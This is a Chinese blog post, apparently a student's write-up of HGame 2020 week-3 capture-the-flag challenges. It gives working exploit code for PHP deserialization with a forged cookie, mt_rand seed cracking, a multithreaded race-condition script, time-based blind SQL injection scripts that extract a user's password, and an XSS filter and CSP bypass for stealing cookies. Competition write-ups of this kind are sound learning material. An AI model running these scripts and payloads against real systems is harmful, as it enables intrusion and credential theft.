0x4qE's Blog 


HGame 2020 week3 WriteUp


前言

题目越来越难了,发出了菜鸡的叫声:“嘤”。

Web

序列之争

进去以后F12看源码,看到注释里有提示。

于是按照提示访问/source.zip。下载以后得到源码。源码很长这里就不贴出来了,可以看出是一道php反序列化的题目,只有当后台判定我为第一名时,才能拿到flag。而玩了玩游戏,无论如何最高都只能到第2名,嘤,很有序列之争原作剧情的味道。

解题的开始首先找到unserialize()函数。

这里首先把cookie里的monsterbase64解码,然后判断长度,如果>32,则取出后32位作为签名$sign,然后把前面作为$monsterdata的值。如何才能触发unserialize()函数呢,要让$monsterdata加上盐值$encryptkey进行md5之后与$sign进行比较,如果相等则可以将$monsterdata反序列化。

格式化字符串漏洞

然后在源码里寻找$encryptkey的来源。

这里把我们输入的玩家名称$playname$this->encryptkey放到了一个循环里,先sprintf()输出,然后循环md5加密计算得出类Monster里的$encryptkey。请仔细看看!这里的sprintf(),竟然没有做任何的防护,连续进行了两次循环,按道理来说第二次循环是没有必要的。我们如果把$playname赋值成%s,就会覆盖原字符串的%s,从而在第二次循环的时候,输出$this->encryptkey

做出来之后从🍆学长那里了解到,这个就是格式化字符串漏洞

在这里偷了个懒,固定用户名为admin,先把md5的盐值计算出来。

1
2
3
4
5
6
7
8
9
10
11
<?php
$encryptkey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';
$sign = '';
$playname = 'admin';
$data = [$playname , $encryptkey];
foreach($data as $key => $value){
$sign .= md5($sign . $value);
}
echo $sign.'<br>';
# $sign=21232f297a57a5a743894a0e4a801fc359ff7bee4550cd5c900f9874e016b2b3
?>

寻找突破口

我们的最终目的是让我们的排名变为第一名。在这之前首先要明白反序列化漏洞的危害在哪里,反序列化的漏洞就在于php内置的一些魔术方法,这些魔术方法会在某些条件被触发以后自动调用,而一旦反序列化函数的参数可以人为操控以后,就会造成不可预知的后果。我能明白这些还要感谢🍆学长。

翻找一番后,发现唯一的魔术方法__destruct()。在对象被销毁以后,会将$this->rank赋值给$_SESSION['rank'],而在下一次对象被创建时,会将$_SESSION['rank']的值赋给$this->rank

上Payload

于是我们的解题思路就是,当反序列化时,将Rank类里的rank赋值为1。手写了几次payload都不行,给🍆学长看,才知道原来反序列化是要写exp的,然后写出了exp如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Rank
{
private $rank = 2;

public function __construct()
{
$this->rank = 1;
}
}
$test = new Rank();
$y = serialize($test);
$z = base64_encode($y.md5($y.$sign));
echo$z;
# $z=Tzo0OiJSYW5rIjoxOntzOjEwOiIAUmFuawByYW5rIjtpOjE7fWFlNjY1M2UyY2IwZTgzYzE3ZmU4NDkwZmQ0MmE3M2Nl
?>

这里还有一个小插曲,我用在线的base64加密,无数次以后都失败,然后才想起来可以在exp里直接一条龙把base64也解决了。然后改cookie,就能拿到flag啦!

I’m the Champion!

能做出来这道题也是非常感谢🍆学长了,他无数次耐心解答我的各种愚蠢问题,我对php反序列化的理解终于不是浮于表面了。

二发入魂

这题有关php5伪随机函数的缺陷,又是社工做题法,在群里卑微求hint之后,hammer学长这么说

又结合hammer学长在校外群里提到的

于是Google搜索两个随机数+拿到seed+php5,并且把搜索时间限定在一年内,找到了这篇文章。有兴趣的同学们可以去研究一下原理。用2个随机值破解PHP的MT_RAND函数

了解以后,我们只要选取间隔226的两个随机数,然后跑一跑文章里的脚本,就可以出flag了,上脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import re
import sys
import os
url = 'https://twoshot.hgame.n3ko.co/'
cookie = 'PHPSESSID=2jp1b8vaeq7imfm4bgqntm0do1'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',
'cookie': cookie,
}
p = requests.get(url+'random.php?times=228', headers=headers)
randnum = re.findall(r'\d*', p.text)[1:-2:2]
firstnum = randnum[0]
lastnum = randnum[227]
content = os.popen("python3 ./reverse_mt_rand.py " +
firstnum+' '+lastnum+' 0 0').read()
q = requests.post(url+'/verify.php', headers=headers, data={'ans': content})
print(q.text)

cosmos的二手市场

开局五十万,道具全靠买 。要想flag,赔完全家产。

你注意到,出售货物需要3%的手续费,而你要赚取1个亿一定是我打开方式错了,等我重启一下。问了Roc学长,知道这是一个条件竞争的题目。大意就是,后台以线性的方式执行代码,而这时用户可以用多线程访问程序,趁服务器没反应过来形成竞争。

具体的例子就是,如果上传文件时,服务器先将文件保存,然后再检验文件比如说后缀名,判断文件是否危险,然后再作是否删除的判断。这个时候,假如用户上传了一个木马后,在服务器保存了文件但还没删除的间隙里,开多线程疯狂访问这个文件,那么就有可能成功执行文件,之后文件是否被删除就不重要了,因为我们已经成功侵入了对方服务器。

所以这道题可以在之间形成竞争,两边都开多线程,的线程更多一些,不断刷钱,最终就能刷到一个亿。直接上脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import threading
import queue

threads = 100
q = queue.Queue()
m = queue.Queue()

url = "http://121.36.88.65:9999"
headers = {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'User-Agent': 'Chrome/71.0.3578.98 Safari/537.36 Gecko/20100101 Firefox/72.0',
'Cookie': 'PHPSESSID=ij0tv8hqehlokhmn8uij3n4rlv',
}
data = {'code': '800002', 'amount': '2'}

for i in range(1000000):
q.put(i)

for j in range(1000000):
m.put(j)

def post():
while not q.empty():
q.get()
r = requests.post(url+'/API/?method=solve',
headers=headers, data=data)
print(r.text)

def buy():
while not q.empty():
m.get()
p = requests.post(url+'/API/?method=buy',
headers=headers, data=data)
print(p.text)


if __name__ == '__main__':
for j in range(50):
t2 = threading.Thread(target=buy)
t2.start()

for i in range(threads):
t = threading.Thread(target=post)
t.start()

for j in range(50):
t2.join()

for i in range(threads):
t.join()

我们拥有了一个亿,赢得了cosmos的认可!快去getflag吧!

但这道题不是我自己想出来的,还是多亏了Roc学长的提示,于是我又多问了一句,为什么会想到条件竞争商城条件竞争产生的主要题型。

Cosmos的留言板-2

首先注册,登录,随便留个言,看上去是个防御坚固的留言板呢。

考虑到上周的留言板是SQL注入,这周应该也是了,但是注入点在哪呢?我们试着删除看看。

这里出现了一个delete_id,可能是这题唯一的注入点了。这时,社工做题法开始发挥了它的作用,看到xiaoyu在群里说这题写脚本时间盲注注了很长时间,然后🍆这么说

好,那么可以确定,这题就是在delete_id这里进行时间盲注了。网上找了时间盲注的脚本,都试了个遍,不太行,最后决定自己动手写脚本。用去年HGAME Week3Annevi学长的时间盲注脚本作为模板,适当的更改了一些内容。学长的脚本里用的是and,可是我试了几次都不太行,问了Roc学长以后,改成or

准备阶段

首先是准备阶段。

1
2
3
4
5
6
7
8
9
10
11
# coding:utf-8
import string
import requests
import datetime
import time

headers = {
'Cookie': 'PHPSESSID=8favb1co6jkhe406311n8qjjd7',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
}
url = 'http://139.199.182.61:19999/index.php?method=delete&delete_id='

爆数据库

然后开始爆数据库,先爆长度,再爆数据库名。因为payload用在url里,所以我把空格都用+号替代,最后再用#url编码%23做结尾,注释掉后面的所有语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def Get_Database():
for i in range(20):
print("Finding the database length............"+str(i))
payload = "0+or+if(length(database())="+str(i)+",sleep(5),0)%23"
time = Get_Data(payload)
if (time >= 4.5):
databaseLen = i
print("[*] The database length is " + str(i))
break
database = ''
print("Finding the database Name............")
for i in range(databaseLen):
for j in range(33, 127):
payload = "0+or+if(ascii(substr(database(),"+str(i+1)+",1))="+str(j)+",sleep(5),0)%23"
time = Get_Data(payload)
if time >= 4.5:
database += chr(int(j))
print(database)
continue
print("[*] The current database is " + database)

爆出来数据库的名字是babysql

爆表

然后爆表长度,爆表名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def Get_Tables():
for i in range(20):
print("Finding the tables length............"+str(i))
payload = "0+or+if(length((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1))="+str(i)+",sleep(5),0)%23"
time = Get_Data(payload)
if (time >= 4.5):
tableLen = i
print("[*] The tables length is " + str(i))
break
table = ''
print("Finding the table Name............")
for i in range(tableLen):
for j in range(33, 127):
payload = "0+or+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)%23"
time = Get_Data(payload)
if time >= 4.5:
table += chr(int(j))
print(table)
continue
print("[*] The current table_name is " + table)

爆出表名user

爆列

然后是爆列长度,爆列名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def Get_Columns():
for i in range(20):
print("Finding the column length............"+str(i))
payload = "0+or+if(length((select+column_name+from+information_schema.columns+where+table_name='user'+limit+1,1))="+str(i)+",sleep(5),0)%23"
time = Get_Data(payload)
if (time >= 4.5):
columnLen = i
print("[*] The column length is " + str(i))
break
column = ''
print("Finding the column Name............")
for i in range(columnLen):
for j in range(33, 127):
payload = "0+or+if(ascii(substr((select+column_name+from+information_schema.columns+where+table_name='user'+limit+1,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)%23"
time = Get_Data(payload)
if time >= 4.5:
column += chr(int(j))
print(column)
continue
print("[*] The current column_name is " + column)

爆出来一个列名name,因为要登录上cosmos的账号,所以我们应该还需要一个password,所以把limit后面的1改为2,就可以爆出第二列,果然是password

爆字段

然后就是爆出字段名就成。先爆name。这一段代码被改过去爆password了,所以并没有保存,但思路是一样的,爆出来namecosmos

然后爆password,这里我操作不当,爆出了我自己的密码,2333,然后求助Roc学长,发现我竟然忘记了where语句!蠢哭了,那么便简单了,爆就是了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def Get_Value():
for i in range(40):
print("Finding the password length............"+str(i))
payload = "0+or+if(length((select+password+from+user+where+name='cosmos'))="+str(i)+",sleep(5),0)%23"
time = Get_Data(payload)
if (time >= 4.5):
passwordLen = i
print("[*] The password length is " + str(i))
break
password = ''
print("Finding the password............")
for i in range(passwordLen):
for j in range(33, 127):
payload = "0+or+if(ascii(substr((select+password+from+user+where+name='cosmos'),"+str(i+1)+"))="+str(j)+",sleep(5),0)%23"
time = Get_Data(payload)
if time >= 4.5:
password += chr(int(j))
print(password)
continue
print("[*] The password is " + password)

这里爆了好久好久,谁能想到password是长为28个字符的无规律字母和数字的组合!

账号密码,我们去登陆吧!

成功拿到flag

Cosmos的聊天室2.0

首先看题目。

限制策略是什么?我们先看看题目吧。一样的配方,先尝试执行xss。发现它过滤了script,但我可以双写绕过,scriscriptpt即可。当我尝试执行js代码时收到了这样的控制台报错。

然后看一下Response Header,发现是script-src 'self',default-src 'self'。百度了一下知道是CSP安全内容策略,不会执行内联js代码,也不会访问任何外域的链接,也就是说,这一条策略,完完全全的封住了我们通过onerror之类的事件处理或者src=javascript:这样子执行js代码了。

只好去找kevin学长,学长说,需要利用同域的资源,还提示我分析一下浏览器的行为,试着寻找突破口。我发现当我点击发送的时候,浏览器会向/send?message=输入这里发包,但我仍然没想到利用iframe套娃

后来在Roc学长的同样的提示下,我才恍然大悟,原来/send?message=这个网站没有CSP,所以可以通过iframe构造一个新的浏览器窗口,地址就是/send?message=输入,同时,在输入这里构造xss语句,就可以成功弹窗啦。

原来做的时候只想着要用script直接注入,忘记还有img之类的更简单的做法,所以我的payload里有一堆三写script。为什么是三写呢?为了在新窗口里可以成功构造出scripturl里必须是双写,而发送的时候还会过滤一次,所以还要在多写一次。

然后去xss平台里等cookie

cookie,访问/flag,拿到flag

Misc

web做累了来misc水水分。

三重隐写

先解压。

随便用记事本打开看看,在上裹与手抄卷.mp3里看到了

然后看名为you know LSB.wav文件,Google一下.wav+LSB+ctf,找到slienteye这个工具,直接上工具。

拿上key,百度一下stegano+mp3,觉得应该会是MP3Stego,于是上工具。

拿到flag.7z的压缩包密码,于是去解压。

解压出来一个flag.crypto,想到还给了我一个软件安装器,于是安装起来,把flag.crypto文件放里面,还要密码,看看什么东西还没有用到,嗷,还有一个封面是条形码的.mp3文件,放wsl里用foremost提取出来封面图,放到在线网站里扫描。

输入密码,解密。

flag到手。






© - 0x4qE - 2019 - 2020 - Powered by hexo Themed by quark

浙ICP备19039917号-1
浙公网安备 33011802001799号

小破站跌跌撞撞